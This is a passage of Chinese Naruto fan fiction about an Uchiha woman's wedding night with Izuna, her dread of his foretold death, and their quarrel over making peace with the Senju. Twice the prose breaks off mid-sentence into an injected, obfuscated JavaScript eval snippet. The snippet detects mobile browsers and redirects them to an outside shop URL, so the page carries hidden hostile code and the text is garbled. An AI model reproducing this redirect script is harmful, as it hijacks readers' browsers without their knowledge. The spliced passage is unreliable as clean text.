泉奈一开始站在门口没动,冬季的冷风在庭院中呼啸,卷起厚重的雪花。 这一开门,冷风就吹了进来。 被涌进室内的风吹得打了个寒战,我放下有些发酸的手,揉着肩回头看他:“怎么了,不进来吗?” 泉奈浑身僵硬地站在原地,听我说完后似乎愣了一下,这才回身关上门走进来。 关上门后,室内的温度回升了些。 他坐在我身后不远处的被褥边上,身上还披着仪式时的黑色羽织礼服。 我转了回去,继续和脑袋上的发饰们奋斗。 “我们……”他在我身后开口,语气沉静,似乎在思考着什么,带着股商量的意味,“往后也和以前一样?” 我暗地里松了口气,他的提议正合我意。 我稍微停了手中的动作,回答道:“嗯,你先休息吧,我等会儿就睡。” 他沉默了片刻,然后说好。 身后传来一阵衣物的窸窣声,想来是在换衣服。 室内又安静了起来。 我们的呼吸声便有些明显了。 我停下手中的动作,终于有些后知后觉地不习惯起来。 忍者是警惕心很高的生物,就算我没怎么上过战场,依旧是这样。 另一个人与自己身处同一个封闭空间——尤其是卧房时,这股混杂着警惕与想要和本能抗拒的放松便显得尤为明晰。 更何况我现在背对着身后的一切,根本看不见另一个人在干什么。 发簪上的流苏晃动间发出刷刷的细微声响。 没多久,穿着件雪白色襦袢的泉奈出现在镜中。 “我来帮你。”他的声音有些紧绷,镜中的他表情有些别扭。 好吧,看来他也不是很适应。 我回头看他,泉奈身上的紧绷感让我感觉他像根随时会崩断的琴弦。 他紧紧盯着我脑袋上这些发饰,警惕的姿态掩都掩不住。 我不禁微微抿着唇笑了一下:“睡不着?” 他的目光飞快垂落,嗯了一声。 “这些声音,”他说,“我有点不习惯。” “你也不太方便。”他又补了一句。 我哦了一声,放下手,本来拆这些发簪发髻就麻烦得让我有种拿剪刀剪了它们的烦躁心态,此刻泉奈要帮忙我当然乐得解放双手。 火核为什么要为难他亲爱的妹妹。 可恶。 “麻烦你了。”我动了动脖子,将后背露给他。 镜中的他缓慢靠近,奇怪的是我反而没有刚才那么警惕了。 或许是因为有镜子存在,能看见就不是死角。 熟悉的气息笼罩了上来,带着些微甜的果酒味,不浓。 白日的仪式上我们喝三献酒时用的就是这种度数不高的酒。 泉奈的手指穿过我黑色的发间,将缠在发饰上的头发一点点解开。 铛的一声轻响,发饰被剥离下来,落到了桌面上的饰品盘中。 我猛然回神。 明明他站在我身后,手一直停留在我的要害部位,但属于忍者的警报并没有响起。 耳朵有些发烫,他的衣袖时不时擦过我耳后、颈后的肌肤,激起奇异的战栗之感。 靠得太近了。 我垂下目光,看着漆盘中还发着颤的发饰,不再盯着镜中的他看。 然而这样,感官便更为敏锐起来。 发丝被轻柔挑开时头皮那点细微的感觉、泉奈站在我身后放轻的呼吸声、我们交错而混乱不堪的心跳声。 我从没这么痛恨过忍者敏锐的感官。 后脑位置被发髻紧绷的束缚感骤然一松,一大股头发流泻而下,泉奈以指为梳轻轻向下梳理着,忽然开口,嗓音低沉:“你的家人……是不是不太满意这桩婚事。” “什么?”我回头看他,几缕长发纠缠着他的指尖,衬得他的手指泛着股如玉的白。 心脏忽然猛地跳动了一下,我收回目光,看向其他地方:“你想得太多了。” 亲事是前族长定的,爸爸妈妈以前为此担忧过,却也早有准备,倒也不会觉得不满。 火核……他只是知道了我对千手的态度,担心我罢了。 “嗯,”泉奈回了一声,他手腕微动,缠着他手指的黑发便微微滑落,他的另一只手落到我的前发上,“好了,我帮你把剩下的……” 我下意识地握住他的手腕,抬头与他对视着。 指下的手腕似乎也是滚烫的,搏动的脉象强健有力。 他的声音戛然而止。 我想起婚礼仪式上微甜的果酒,他坐在我的对面,手腕轻轻抬起,微垂着眼喝掉酒盏中的酒时的样子。 暖黄的烛火轻轻摇曳着,泉奈发间的阴影也随之晃动。 我仿佛第一次这么仔细地打量着他的面容,突然意识到,他和以前大不一样了。 ——这家伙是魅魔吗? ——不然我为什么移不开目光。 手底的手腕微动,泉奈的手落到我的眼下,有些粗砺的指腹擦过眼睑处柔软的肌肤—— 他缓缓低下头,黑色的眼睛不知何时悄然变为了猩红的写轮眼,勾玉在眼底缓缓转动。 “千织,你的眼睛……” 我的眼睛? 我在泉奈的眼中看到了一双相同的写轮眼,这双眼睛正茫然地与他对视。 一股没来由的躁动与战栗逐渐填满了心脏,泉奈垂落的头发扫过我的面颊,有些发烫的手落到了我的肩上。 他缓缓压低了身子,那张熟悉却又不完全熟悉的面庞在眼前放大开来。 我想起我们订婚后在族长家门前单方面吵的那一架,他当时说什么答应是因为哥哥、什么不会对我做什么。 我当时说了什么来着? 大概是酒意上头——这玩意儿真的有酒意吗——我盯着泉奈。 没有避开。 “千织,可以吗?”柔软的触感擦过我的唇边,他的声音有些模糊,滚烫而颤抖的吐息拂过面颊。 那一瞬间我似乎想了很多,又似乎什么都没想。 我好像又回到了那天,夏日祭典那天他抬手替我整理发饰,涛涛树海上绽开灿烂的烟花。 我知道答应后接下来会发生什么,虽然我们如今是名义上的夫妻,但这似乎不是我们的实际关系该发生的事,可又有一个声音问我为什么不可以。 很多年前,火核说我总是想得太多。 ——是啊,什么都不去想就好了。 ……大概是今年的冬天实在太冷了。 我松开泉奈的手腕,闭上眼睛,攀住他的肩膀。 发间的发饰在晃动间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金鱼转了个向,继续游动。 我抓着被褥,终于哭了出来。 金鱼其实什么都知道。 那是埋藏在最深处的恐惧。 特意赶来陪伴她生日的青年、会牵着她行走在热闹街道上的少年、笨拙地赠刀给她让她注意安全的少年、从小就与她争锋相对嘴里说不出几句好话的少年、对她抱有复杂情绪的少年……身边这个不知道什么时候喜欢上的人,注定向兄长献上自己的眼睛,死在和平到来的前夕,再也看不见光明。 所以金鱼什么都不想,不去深究他是否喜欢自己,也不去触碰自己喜欢他的秘密。 金鱼什么都不知道,不会为逝去的人哭泣,也不会记住任何人。 泉奈无措地问我怎么了,不断地在我耳边道歉。 我紧紧回抱住他。 “你不要死。”我说道。 他顿了顿,环在我身上的手臂似乎僵住了,而后用力地抱住我。 他没有回答,一言不发。 安静得好像,刚才什么都没发生过。 好像我什么都没说,他也什么都没听见。 他当然不会许诺。 因为这是忍者们从来不会轻易承诺的话题。 23.见外 我抗拒着睁开眼睛。 清醒之后,回想起昨晚的自己干了什么,我就一点也不想面对现实。 有种淡淡的死意。 都是见过不少大风大浪的成年忍者了,要说什么害羞的情绪——完全没有。 但是新婚之夜,被对方哭泣着让自己别死,无论放在谁身上,都是件心理阴影吧。 我只觉得丢脸。 为什么会当着泉奈的面哭啊。 移门被轻轻推开,我下意识睁开眼看了过去。 想摸武器,摸了个空。 哦对,这也不是我以前熟悉的卧室。 泉奈合上门,将冷空气阻隔在外面,对我笑了笑:“醒了吗,千织。” 我有点尴尬地点了点头,坐了起来,头发随着动作披散而下。 想到昨晚拆到一半没继续拆的发饰,我停顿了一下,强行开启话题:“你起这么早吗。” 不远处的梳妆台上,发饰都有好好摘下来放到盘子里。 他居然还有精力帮忙整理这些东西,起得也够早的,不用休息吗。 我默默吐槽了一句。 他走到我身边坐下,微侧着头看向我:“嗯,要起来吃早饭吗?” 确实有点饿了。 我幽幽看了眼他,推了下他的手:“你转过去。” 泉奈怔了一下,闷笑一声答好。 仪式前我的衣服就搬进来了,我找出族服换上,和泉奈说了声好了。 昨天穿的衣服再怎么简便也是礼服,没有族服方便。 换好衣服,找回熟悉感的我松了口气。 泉奈回过头来,见我就这么打算出去,他稍微顿了一下,而后拉住我,把我带到镜前坐下。 “怎么了?” “头发还没梳。”他拿起梳子,开始梳理我脑袋上胡乱翘起的头发。 我的习惯是正式出门前再梳头,在此之前先洗漱吃饭。 真是奇怪的感觉,他站在我身后我却一点也生不出警惕之心。或许是我们以往实在是太过熟悉对方的气息了。 毕竟从小时候开始就是切磋对练的对手,无比熟悉对方的每一个举动和神情。 但替对方梳头发这种事却还是第一次发生……不,算上之前帮忙整理,也不是第一次了。 “不用这么麻烦,”我有些局促地抓住袖口,“洗漱完后随便梳一下就好。” 反正又不用扎起来。 梳子在发间顿了片刻,复又轻柔地梳理起来。 泉奈淡声道:“不麻烦,总归是要梳的,小时候我也常帮母亲大人梳理头发。” 听他提起去世多年的前族长夫人,我心中微动,咦了一声。 “我是最小的孩子,自然和母亲亲近,”他听出我的好奇,解释起来,“哥哥们开始训练的时候,我还什么都不能做,就只能帮母亲做些力所能力的小事,让母亲多注意我。” 我想了想族中孩童开始训练的平均年龄,这么算来他三四岁就开始做这些了,感慨道:“好可怕的竞争意识。” 他在我身后又笑了一声:“往往这之后我就缠着母亲教我结印,为此还被兄长说过不要什么事都麻烦母亲。” “不过,母亲却很高兴,”他说道,“我学的第一个忍术就是母亲教的。” 我就不一样了,我第一个学习的忍术是缠着火核让他教我的。 爸爸妈妈一开始教我的是体术,觉得我不用那么着急学其他的。 “好了。”泉奈放下梳子。我看着镜子里的自己,头发被梳了个简单的样式。 有些新奇地摸了摸自己的头发,我转过头道了声谢:“多谢。” 想起火核的经历,我不禁问了一句:“你也出过需要专门学习扎头发的任务?” “……千织,这种程度的话我还不用特意去学。”泉奈无奈道。 ……好像也是。 不过我这种稍微有些失望的感觉是怎么回事啊! 洗漱完后,我们一起去吃早饭。 桌上我们一致没提昨晚的事。 毕竟婚前的我们一个态度勉勉强强,就没打算正常地对待这场婚姻;一个打着照顾逝去兄长在意的人的旗号,他也从没正经地和我表白过。 就算表白了……我估计也会含糊过去。 想到未来,我就难免心忧。 昨天我们之间会发生那种事,怎么想都是氛围惹的祸! 我要等到明年春天再回据点。毕竟我常年驻扎在外,又值新婚,族长便直接给我放了个长假。 泉奈这几天也不用去处理族务,他哥在这方面还是很照顾弟弟的。 回据点前我都要和泉奈住在一起,抬头不见低头见的,感觉微妙。 吃饭的时候我旁敲侧击,问泉奈是不是不太习惯没事做的感觉。 “你怎么会这么想,千织,我也是会想休息的,”他笑着看我,“在你心里我到底是个什么形象?” “看起来好说话的族长,但也只是看起来,”我立刻回答,“其实和族长一样,固执得没人劝得了。” 这也算是我们这群忍者的通病了,毕竟身怀亲友的仇恨长大,不断浸淫在杀戮当中,总得将什么当作锚点。 我是想在战乱的时代尽量维持着自己正常的表象直至和平的到来,泉奈是守护族人和兄长,族长是守护弟弟,隔壁千手族长是和我们结盟创造一个和平的环境。 因此,为了达到自己的目的并将其维持下去,在这些事上的坚定是不会被轻易打碎的。 他:“……” “固执……?”泉奈大概头一回听见别人这么评价他,神情古怪,“有吗?” “当然啊,像千手……”想举例子的我突然顿住,装若无意地转移话题,“像以前你几乎天天找我去训练场打架,这种事很难坚持下来吧。” 没说一句浓烈的恨意已经很对得起我们目前看似融洽的气氛了。 不能再这么想下去了。我打住思维。 可惜我的转移话题并没有起到效果。 “千手……”泉奈皱了下眉,想要说些什么,却也就此打住。 显然,他也意识到了,我们之间远不到谈论这些事的关系。 他默认了我刚才找的理由,回应起新的话题,漂亮的眉头稍稍皱起:“那不是打架,是切磋。” 我:……? 我放下筷子,不太服气:“你确定?只是切磋?” 泉奈抿了下唇,微微侧头,不太自在地躲开我的目光,顾左右而言其他:“你快吃饭。” 我哼了一声:“你心虚了。” “……”这下他敢看我了,“是是是,我当初找你不只是为了切磋,还……” 泉奈的耳尖似乎都被气红了,他不再反驳我的话,而是直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13233780|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开始了坦白局,结果说到一半又停了下来。 “算了,我出去等你。”他闷闷地回了我一声,走到门口坐在檐下看院子。 泉奈也穿着族服,背对着坐在门口时族服上那枚小小的团扇就分外显眼。 我盯着他的后背瞧了一阵,心想他还真不怕我从他背后偷袭……不对,我好端端干嘛偷袭他。 “喂,泉奈……”强制自己不去想那些有的没的,我在房间里喊了他一声,“你还是进来坐吧。” 泉奈仍背对着我,语气坚决:“不用,我看会儿风景。” 满院子雪有什么好看的。 “风吹着冷。” 族服就那么薄一件,忍者虽然不怕冷,也不用没事去吹冷风啊。 泉奈还在坚持:“我又不……” “我冷。”我补上一句。 他不说话了。 然后我眼睁睁地看着他往廊下挪了挪,头也不回地朝后面伸手去够门。 我:? 不至于把自己关在外面吧! “你就这么不想和我同处一室?”我连忙道。 这句话效果卓群,泉奈的手落到障子门上迟迟未动,而后他慢吞吞地起身走了回来,进门的时候不忘带上门。 早饭是他准备的,吃过饭后,我带着碗回了厨房。 泉奈想帮忙,被我赶到一边,他站在旁边看了一会儿,说我不用这么见外。 我收好碗筷,拿帕子将手上的水擦干,拒绝道:“有些事还是分清楚好些。” “分清楚?”泉奈的声线一如既往地带着些微的讽意,声音沉缓,明明没什么起伏,却让人觉得是在讥讽,“千织,你总是这样。” “对谁都是。” 我抬眼望他,他清晰而干净的眼尾线条微微上挑,瞳孔漆黑。 “我确实一直这样。很遗憾,改不了。” 曾经确实有个人孜孜不倦地想要将我从自我隔离的保护中拉进来,可他自己在临死前却后悔了,让我什么都别记住,就这么忘掉他。 这个世界就是这样,死生之外无大事,什么承诺什么决心,在死亡面前都不堪一击。 昨天已经越线了一次,我不可能再这么放任自己踩过那条线。 我明知道的,再过几年,泉奈会死。 石碑可以炸毁,但那场和千手的战争,我甚至无法定位是何时发生的,何谈改变。 泉奈目光沉沉,我看不出他在想什么。 忽而,他像是想通了什么一般,轻轻呼出一口气,刚才的紧绷感也消失不见。 “确实,你一直都是这样,”他垂眸笑了一声,“没关系,这样也好,慢慢来吧。” 我背脊发寒,忍不住后退了一步。 明明是寻常的语气,没什么激烈情绪,却无端让我警惕不安。 泉奈朝我伸出手。 “出去走走吗?难得的假期。”他温声问道。 我们大可在宅邸待一整天,毕竟下着雪的天,不是谁都想出门的。 只是一直待在宅邸里,也太无聊了。 我盯着那只手,缓缓放松下来,点头轻声应了,走过去牵住。 他似乎总是这样,不管前一刻我们还在说什么话题,最后都会向我递出手来。 掌心温热,他松松地握住我的手。 不像冬天的温度。 我想。 24.答案 出门第一站是去拜访了隔壁的族长。 族长大早上地就开始处理族务,见到我们来了将笔放下,带着手套的手指落到眉心微微按压。 也不知道是单纯的疲惫还是万花筒的弊端初现端倪。 “族……”平时叫族长大人叫顺口了,泉奈用手肘轻轻碰了我一下,我才反应过来,改口道,“兄长大人。” 以往叫火核也只是叫哥哥,这么正式地称呼一个人为兄长大人,我觉得有些恍惚。 泉奈倒是比我关心他哥多了,和他哥打了招呼后看他操劳族务的样子一脸忐忑,旁敲侧击地问要不他回来帮着一起处理。 “不是说好好休息吗?”斑嘴上这么说着,但面对他弟弟的时候还是露出了个纯粹的笑。 他看了我们两眼,沉吟少许,缓缓说道:“无论如何,昨天宴席上你们也辛苦了,这段时间不用操心那些事。” 被族长赶出来后,我就拉着他去找爸爸妈妈。 路上积雪厚重,踩在上面脚印微微下陷,发出积压的嘎吱声音。 我看着地上的雪,突然发现旁边的泉奈一直附着着查克拉在雪上行走,回头望去,路上也只有我一个人的足迹。 早一些的足迹大半被掩埋在新落的雪中。 只有我一个人的足迹,就好像昭示着泉奈这个人终究会消失一样。 我突然愣住了。 “怎么了?”泉奈跟着回头,突然也不说话了。 手上传来的力道紧了紧,前方突然传来一股拉扯力。 我踉跄了一下,瞪向突然一言不发拉着人走的泉奈,却听到一阵踩雪的声音。 “别磨磨蹭蹭了,你不是想回家看看吗,这些雪有什么好看的?”他只留了个后脑勺给我,催促着说道。 他说话,一如既往的难听。 纷飞的落雪在蓝色与黑色上撒上一层薄薄的霜白,眼睫上也落了些雪花,转瞬被热气融化成湿凉的水珠。 地上,铺满白雪的街道上蜿蜒出两行深深浅浅的足迹。 爸爸妈妈都在家。 我坐在房间里,手上被妈妈塞了个暖手炉,看着泉奈和他们有来有回地说话。 这个时候的泉奈,就和多年前我看见他和旁人讲解忍术时的他有些相似了,脸上是温和有礼的笑,谈吐得体。 爸妈也不觉得他这幅样子反常奇怪。 想想似乎也是,在大人眼中,我们幼时的切磋训练大概就如孩童玩闹一般,久了后恐怕他们也不觉得我们这种行为其实是掺杂了私愤的,只以为是熟悉的同伴。 长大后我们见面也没那么频繁,更不容易起争端不说,年节的礼物甚至都从不落下,在他们眼中我们恐怕一点也不像关系不好。 我和泉奈的关系,恐怕也就火核和族长略知内情。 我又想起当初和火核在信中吐槽觉得泉奈的性格变了不少,火核说泉奈的性子一直如此。 看着他和爸爸妈妈熟稔地交谈,我一阵恍然,他确实是是如此的,只是这一面很少展露在我面前。 泉奈在我面前也很难一直保持这幅温和的模样,我见得更多的反而是他和我互相呛声的样子。 所以那时候我才会觉得他变了。 心中突然有些不是滋味。 爸爸妈妈留我们在家用了午饭。 饭后妈妈和我单独说了会儿话,问我在泉奈家住得习不习惯,有没有缺的东西需要补上,还问我们感情如何。 我本来以为自己早就接受这桩婚事了,在哪里住不是住呢。 但在听见妈妈说“泉奈家”的时候我还是没忍住,眼泪一下就涌了出来,扑过去抱住了她。 她吓了一跳,脸色也变了,双眉皱得死紧,不住地拍着我的背问我怎么了。 “他欺负你了?”妈妈问我,怀疑起在族里风评向来很好的泉奈。 我埋在她的怀里摇头:“没有,我就是想家了。” 妈妈的手顿住了,她没再说话,耳边传来她轻轻的叹息声。 走之前我问了句火核的情况,被告知他一大早就出任务去了,说是前几天他就该走的,结果拖到我们完婚才出发,也还好那不是太过要求时间的任务。 听见爸爸妈妈这么说,我心里有些复杂,出了门还在想这件事。 泉奈见我心不在焉的,问我要不要出去散散心。 这自然是指去族地外面散心。 ……这家伙精力充裕过头了吧? 我抬眼看去,见他真的一副如常的模样,一时哑然,摇了摇头说想回去了。 这么冷的天,没看大家都待在家里呀。 哦,火核除外。 左右回了家也没什么事干,我提出我想去书房看卷轴,泉奈说他也去。 结果到了书房后,他就找家忍送了堆族务过来。 我:…… “这就是你说的偶尔也想休息?”我捏着卷着坐在一边,目瞪口呆地看着他已经开始熟练地处理起族务,没忍住问道。 泉奈自案边抬首看来,表情有些尴尬:“……左右也没有其他事,做什么都可以,而且斑哥不会发现的。” 不会发现才怪。 很多事你哥只是不爱明说,又不是真的什么都不知道。 我看最迟明天你哥就得找上门。 不过泉奈的反应有些奇怪。 他其实不用和我解释这么清楚的。 “是吗?反正又和我没有关系。”我收回目光,重新看向手中的卷轴。 上面记载的是个B级的雷属性忍术。 我稍微练了下结印的顺序,有点想出去试试效果,和泉奈说了一声就出门去了。 院子里的积雪被轰开了个洞,不过雷属性的忍术动静向来大,我有些心虚地瞥了眼房门紧闭的书房,打算换个地方继续试。 房门开了。 泉奈站在门边上,刚好和有些尴尬的我对上视线。 “要一起练习吗?”他问。 “你不是要处理族务?” 他向外面走了两步,关上书房,轻轻活动了下手腕,顺手将手搭在腰间:“不是很要紧的,今天就能处理完,所以我说斑哥发现不了我把族务处理了。” ——你可真是斑的好弟弟啊 。 听见他这么光明正大地逃他哥的漏洞,我忍住吐槽的欲望,向院子的另一边走了一些留出场地,示意他赶紧下来。 “先说好,不许用瞳术。” 泉奈轻巧地跳到雪地里,走到我对面:“不用瞳术明显是你更吃亏吧?” 那可不一定,我就是在练习忍术,没忍住用了瞳术岂不是舍本逐末。 我开始结印—— “雷遁.黑斑差——” 泉奈:? “你刚才用的不是这招吧?” “所以为了避免你说我使诈,我都把名字念出来了!”我冲了上去。 熟悉的打架,哦不,切磋感觉回来了。 …… 切磋完神清气爽,就是我们爱用火遁,间接穿插着雷遁,院子里又到处都是雪,打完后衣服湿得都不能看了。 我们两披头散发着,狼狈得跟打了败仗一样。 而且衣服又湿又重,穿着确实不好受,我们互相看了眼,各自回自己房间换衣服。 换了衣服后回书房,我觉得再看忍术的话我待会儿估计又得忍不住出门,于是换回我的舒适圈幻术卷轴看。 看着看着,我突然想起当初族长问起订婚事宜前,泉奈和斑说的有瞳术上的疑问。 有点在意。 于是我放下卷轴,问起另一边的泉奈当时他想问的是什么瞳术 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“真没有。”他的语言苍白得就跟外面的雪一样。 我没理他,把卷轴放一边,拉着桌子离他远了些,然后坐下生闷气。 气着气着,我抬手捂住脸,还是忍不住想起刚才的事,偷偷看了他一眼。 谁知刚好看见他隔着桌子看我,泉奈头低得比飞雷神还快,又看起了族务。 ……幼稚! 好不容易做好心理建设,我重新盯回手上的幻术卷轴。 等等,幻术…… 手上的卷轴是讲解瞳术伊邪那岐和伊邪那美的。 我突然意识到一件事。 就算没有我,族长也终究会得到伊邪那岐和伊邪那美的瞳术。 这对兄弟之间不可能会藏私,泉奈也应该是学过的。 那么为什么,在重伤濒死的时候,泉奈没有扭曲现实,用瞳术改变自己的身体状态? 我浑身发冷,答案呼之欲出。 ——因为他要给他哥哥一双完整的万花筒。 万花筒是消耗视力与健康的眼睛,在与千手的战争中他们高强度使用万花筒,步入失明几乎可以说是注定的未来。 在两双万花筒的时期,两族之间的优势仍逐渐向千手倾斜,宇智波一族承受不起他们失明的后果。 与其失去两双眼睛,不如用一双眼睛换取一双永不失明的万花筒。 我想过的。 就算要面对不知道何时到来的未来,我也想过的。 虽然确实无法排除是哪一场战争导致他的死亡,但我的万花筒瞳术常世可以阻止他的伤情继续恶化,正如当初我在千手柱间的重伤下留得一命一样。 在那场注定发生的战争之后,我可以赶回族里,用瞳术辅助医术治疗他,结盟等等事宜都可以之后再说。 但现在我突然明白了,没用的。 问题根本不在千手扉间重伤了他。在宇智波一族注定式微的大势之下,他牺牲几乎可以说是必然的事。 千手扉间的飞雷神只是个导火索。 一双永恒万花筒,远比两双普通万花筒有价值。 他将中间的得失算得很清楚。 难怪当初炸石碑时族长和我提起瞳术后,我总觉得自己下意识忽视了什么。 原来如此。 我一点也不想知道这一点。 很久以前,火核曾经担心我和泉奈交恶会影响到我的未来。 我说他不是这种人。 他是为了一族能够奉献生命与眼睛的人。 无私到让我想恨他都不知道从何恨起。 所以我才不敢喜欢他。 25.骗子 “我们好好谈谈吧。”晚上吃饭的时候,我们面对面坐着。 大概察觉到了我从下午开始就很反常的情绪,泉奈一直很安静。 沉默很久后,我主动开口。 泉奈的动作顿了一下,他放下筷子,垂眸盯着自己的碗,没有说话。 我也不敢再看他,看着自己的碗。 “订婚的时候,你说的话还算数吗?”我问道。 仿佛过了很久,泉奈的声音才从另一面传来,沉闷地回了一声“嗯”。 “我明白你的意思。”他说。 多余的话也就不必再说。 昨晚的事、白天的事,只是双方不察的越轨,冷静了、清醒了,就该回归正轨。 我们当然也可以假作不知,做对糊涂夫妻,就这么稀里糊涂地敷衍过去。 可惜我们都不是这样的人。 安静地吃完晚饭,家忍进来收拾餐具。 这是提供给由于种种原因在族里无法出任务、没有收入的退役忍者的岗位,族长家也有,晚餐也是他们准备的。 下午回书房让他们送族务来的时候,泉奈就将家忍找了回来。 我和他一前一后走出餐厅,走到各自房间的分叉口,泉奈突然叫住我。 “为什么?”他垂头看着我,沉默半晌后问道。 我知道他问的不是我们分开住这件事。 他继续道:“你还在因为小时候的事讨厌我吗?” 我抬眼看他,摇头。 我讨厌他还会跑去救他? 他怎么也有脑袋不灵光的时候。 太阳已经沉下去了,冬日的天晦涩不明,显得灰暗阴沉。 他安静地看着我,发丝在风中飘忽不定。 这样的场景使人联想到风中的蜡烛,我继而想起当初在病床垂死的辉,还有原著中安静地躺在棺木中的他。 昨晚他的襦袢是白色的,棺木中的他也穿着白色的衣服。 泉奈的容貌在惯出美人的族中也很出挑,五官清俊温和,看似平和的性格在杀伐果决的忍者中更是少见,这种反差让不少人都心生好感。 我一直都知道的。 和喜欢的人在一起生活,本来应该算是件好事。 但我是个自私到可以为了自己开万花筒的人,我接受不了自己在意的人会死。 所以我曾经努力让自己在意的人位于“不会死”或“没那么容易死”这个范围中。 泉奈属于“会英年早逝”的那一类人。 我做不到泉奈那么无私。 明知道这一点的我却完全不受控制地越来越在意他。 所以我才在和他有关的事上矛盾得像个人格分裂患者。 如果可以,我不想喜欢他,可这不是想想就能做到的。 也正是因为喜欢,所以我才无法忍受我们现在的关系。 不清不楚的暧昧、注定死亡的未来。 我甚至不敢去问问他对我是怎么看的,无论答案是什么,我都无法接受。 算起来,当初生日时那个一时冲动下问出来的问题,其实是内心早已越线的证明。 但在这个世界,感情是一种奢侈品,永远只能排在最后。 我摇了摇头:“和那些没关系,泉奈。” “我们一开始就不该那么亲近……实在要说的话,观点不和,立场不同,”我看着他有些讶异地挑起眉梢,顿了顿,主动提起白日里我们互相避开的话题,“我不认为族里应该和千手继续战争,这种无休止的伤亡完全没有意义。” 闻言,他的表情果然冷了下来:“没有意义?你还是老样子,千织。” “我一直都是这样,战争除了带给我们伤痛别离还有其他的吗?”如果我不知道未来,我不是穿越到这个世界的人,或许会和一个普通族人一样,仇恨着千手,仇恨着一切与宇智波敌对的忍族,然后在战场上战斗到死去的那一刻。 小时候,他第一次来找我时,我因为第一次在战场上杀敌的罪恶感感到恶心,他走到我身边安慰我。 ——那是个忍者。 他想劝我不要在意战场上发生的事。 但现在他说我还是老样子。 如今的宇智波泉奈是一个成熟的忍者,声名远扬,褪去了孩童时的天真与柔软。 与族里任何一个成年忍者一样。 其实我也是这样,否则我完成不了那些任务。 我们都和以前不一样了。 “不复仇,死去的人该如何安息?让他们白白死去才是毫无意义。”泉奈步步紧逼。 “……我不知道。我只知道千手如今有木遁,你能保证我们一定能赢吗?就凭我们的万花筒?” 万花筒注定会失明,除非写轮眼更进一步升级。 “无论如何,我会为了宇智波奋战到死……”他皱着眉,想也不想就脱口而出。 正是这一点我无法忍受。 “那我呢?”那样的话太过刺耳,我有些听不下去,扬声打断,差点就问出他是否考虑过我的感受。 他永远以族人为先,我却不想他那样早早死去。 如果我没有那么在意他,或许还能忍受他注定的牺牲。 ……但我又有什么立场让他考虑我的感受,以什么立场让他放弃仇恨。 他因为战争失去了一个又一个亲人。 我们的婚姻不是建立在感情基础之上。 我没办法要求他跟我选择同一个立场。 泉奈愣了一下。 意识到自己失言,我趁着他没反应过来,改口道:“不可否认,你能为族人献出生命,可是那些几岁的孩子就该什么都不明白地白白死在战场上吗?” “……即便如此,千手也不可信,你不要忘了,千手柱间曾差点杀了你。” 提起死在战场上的孩童,泉奈的语气也有了几丝犹豫。 我也如他刚才将自己的死亡放在轻的那一端地回答他:“我不在乎。如果能迎来和平的世代,别说我差点死了,就算真的死了也没关系。” 我不知道自己在说这话时是否也带了些针对他刚才发言的报复心。 ……但就算是,我这种话又能报复他什么呢。 泉奈的表情空白了一瞬。 小时候火核那句仿佛看透我们今后人生的“上战场,然后死去”简直比任何噩梦还要可怕。 如果我们面对的真的是这样的人生,如果我的勇气再多一些……我会选择在第一次上战场的时候控制住自己求生的本能。 小孩子该做什么呢? 该在上学的年纪上学、节假日和朋友们约着聚会玩耍、和父母朋友去游乐园……总之不该小小年纪就被人教导“忍者不可以有朋友”、“忍者不可以哭泣”、“死亡是忍者的宿命,不可以惧怕”,接着伴随着武器与争斗成长,在茫然无知的年龄被送上战场。 送给辉的那个幻境,也是我希望的世界。 第一次上过战场后,我的房间里四处都藏着忍具。 最严重的时候我一个人待在房间,妈妈来找我,我都会条件反射地拔出离自己最近的武器。 我永远忘不了妈妈看着我应激地握住武器对着她时,她脸上的表情。 那是一种既安心、又混杂着痛苦和愧疚的表情。 我自己都记不清穿越前的自己会如何入睡了,那知道那应该是一项很轻松就能完成的任务。 但从战场上回来的每天夜里,我梦中都是那个死在我面前的猿飞一族孩子,这种状况直到我开始学习幻术才有好转。 “千织!”泉奈恼火地看着我,“千手柱间给你下了洗脑的幻术吗!” “我给他下幻术还差不多。”我冷静地看着他,回以事实。 良久,他转过头:“族人不会同意的。” “我知道,”毕竟在族长没有明确表态的情况下,泉奈作为立场鲜明的主战派可以说引导并代表了大部分族人的声音,“我会向族长申请,跟着上战场。” 宇智波崇尚力量,轻飘飘的几句话自然不可能说服族人。 唯有在战场上立下功绩,展现实力,才能拥有话语权。 “你明明不愿意……”泉奈的未竟之语在我的目光下消散。 他知道再说下去也没有意义。 过往的我排斥战场,只是不愿意沾血。可是这么多任务下来,任谁都无法否认我忍者的身份。 忍者的手上怎么可能不沾血。 去据点还是战场,其实并没有太大区别,钝刀子和利器割肉的差别罢了。 当金鱼装作什么都不知道根本没有用。 想要改变未来,必须认清现实。 泉奈语气冷淡:“随你。” 我们的关系至此淡了下来。 除了吃饭的时候会坐在一起,我们平常基本见不到一面。 即便是吃饭,我们也不怎么说话。 然而新年的时候,我们却又不约而同将礼物放到了对方的门口。 火核任务回来后听说了我们的事,当即开始发愁。 “我就说不能和泉奈大人结婚,”他看着我,显得有些头疼,“你怎么把这件事挑明了?” 明明结婚前我还信誓旦旦,说不会有事的。 只是现在,事态发生了些许……变化。 我认真地对火核说道:“我没必要向他隐瞒,反正早晚都会说的。” “那你现在和他关系怎么样?”火核上下扫视了我一番,“最近去训练场了?” “……这种事打架也没用,我们可不是以前拿切磋当借口打架的小孩子了,”我拍了拍他的肩,突兀地想起了那场院子里的切磋,顿了顿后道,“放心好了,我以前就说过,他不是那种人。” “他要赢也只会堂堂正正地赢。” 